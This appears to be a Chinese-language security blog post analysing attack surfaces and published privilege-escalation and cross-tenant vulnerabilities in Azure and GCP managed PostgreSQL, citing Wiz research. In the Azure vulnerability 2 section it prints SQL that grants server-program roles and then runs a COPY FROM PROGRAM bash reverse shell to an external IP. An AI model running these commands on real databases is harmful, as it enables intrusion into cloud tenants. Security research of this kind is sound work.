本文以Azure为例,简单叙述下在学习云环境下PostgreSQL的过程和几个有趣漏洞
一、Azure PostgreSQL基本情况和攻击面分析
1. Azure PostgreSQL基本情况侦查
ERROR: permission denied for function lo_export
ERROR: permission denied for table pg_largeobject
插件列表
"xml2""1.1""XPath querying and XSLT"
"citext""1.6""data type for case-insensitive character strings"
"file_fdw""1.0""foreign-data wrapper for flat file access"
"postgis_sfcgal""3.2.0""PostGIS SFCGAL functions"
"pg_qs""2.2""Query Store"
"pg_prewarm""1.2""prewarm relation data"
"insert_username""1.0""functions for tracking who changed a table"
"amcheck""1.3""functions for verifying relation integrity"
"sslinfo""1.2""information about SSL certificates"
"pglogical_origin""1.0.0""Dummy extension for compatibility when upgrading from Postgres 9.4"
"intarray""1.5""functions, operators, and index support for 1-D arrays of integers"
"bloom""1.0""bloom access method - signature file based index"
"postgis_topology""3.2.0""PostGIS topology spatial types and functions"
省略.......
2. 攻击面分析
可以将攻击面分成三类,分别是PostgreSQL自身漏洞、PostgreSQL功能特性漏洞、PostgreSQL二次开发漏洞。
PostgreSQL自身漏洞
1 参考官方漏洞列表,利用较多的为CVE-2020-25695、CVE-2019-9193等
PostgreSQL功能特性导致漏洞
1 高危函数限制不严格,例如上文中提到的这些;
2 用户角色/权限设计不合理,例如不加限制的授予用户CREATEROLE权限等
PostgreSQL二次开发导致漏洞
1 在云上,CSP需要允许用户某些功能,但是要限制其不安全的操作,这就需要对权限模型进行二次开发,可能造成漏洞;
2 不安全的API也是云上最大的风险之一,注入、糟糕的访问控制等
二、有趣漏洞
1. Azure Database for PostgreSQL漏洞1
Step1. Azure二次开发PostgreSQL,以强化其特权模型并添加新功能,通过寻找二次开发的导致的漏洞,将普通账号提升至特权账号superuser,进而实现命令执行获得宿主容器权限;
Step2. 在服务的内部网络中执行侦察,发现可以通过网络访问子网中的其他客户实例;
Step3. 进一步侦查发现,PostgreSQL 提供了一项独特的功能,允许将数据库数据从一台服务器复制到另一台服务器,从而“复制”数据库。这通常用于备份和故障转移/高可用性方案;
Step4. 从 Certificate Transparency 提要中检索目标的公用名;
Step5. 从 DigiCert 或 DigiCert 中间证书颁发机构购买特制证书;
Step6. 通过解析数据库域名并将其与 Azure 的公共 IP 范围之一匹配来查找目标的 Azure 区域;
Step7. 扫描目标实例的子网并利用漏洞获得读取权限。
2. Azure Database for PostgreSQL漏洞2
Step1. Azure 对 PostgreSQL 引擎进行了一些修改,以便在云中提供 PostgreSQL 即服务;
Step2. Azure PostgreSQL 授予用户CREATEROLE权限,但没有限制角色以防止其被滥用;
Step3.
CREATE USER james CREATEDB IN GROUP
pg_read_server_files,
pg_write_server_files,
pg_execute_server_program ROLE postgres;
Step4.
SET ROLE “james”;
COPY shell_results FROM program '/bin/bash -c "bash -i >& /dev/tcp/13.33.33.7/1337 0>&1"';
Step5.
3. GCP Database for PostgreSQL漏洞1
Step1. GCP 对引擎引入的一项修改允许cloudsqlsuperuser角色将表的所有权任意更改为数据库中的任何用户或角色;
Step2. 发现对表执行上述任何命令都会隐式调用具有表所有者权限的索引函数;
Step3.
创建一个新表。
向表中插入一些虚拟内容,以便索引函数可以使用。
在表上创建一个恶意索引函数(使用我们的代码执行负载)。
将表所有者更改为 cloudsqladmin ,即 GCP 的超级用户角色,仅供 Cloud SQL 用于维护和管理数据库。
ANALYZE table,强制 PostgreSQL 引擎将 user-context 切换到 table 的所有者( cloudsqladmin )并以 cloudsqladmin 权限调用恶意索引函数,导致执行我们之前没有权限执行的 shell 命令。
Step4. 权限提升(非常牛逼,建议看原文)
参考:
http://tttang.com/archive/1547/
https://www.postgresql.org/about/newsarchive/security/
https://www.wiz.io/blog/wiz-research-discovers-extrareplica-cross-account-database-vulnerability-in-azure-postgresql
https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities
https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc/
https://www.postgresql.org/support/security/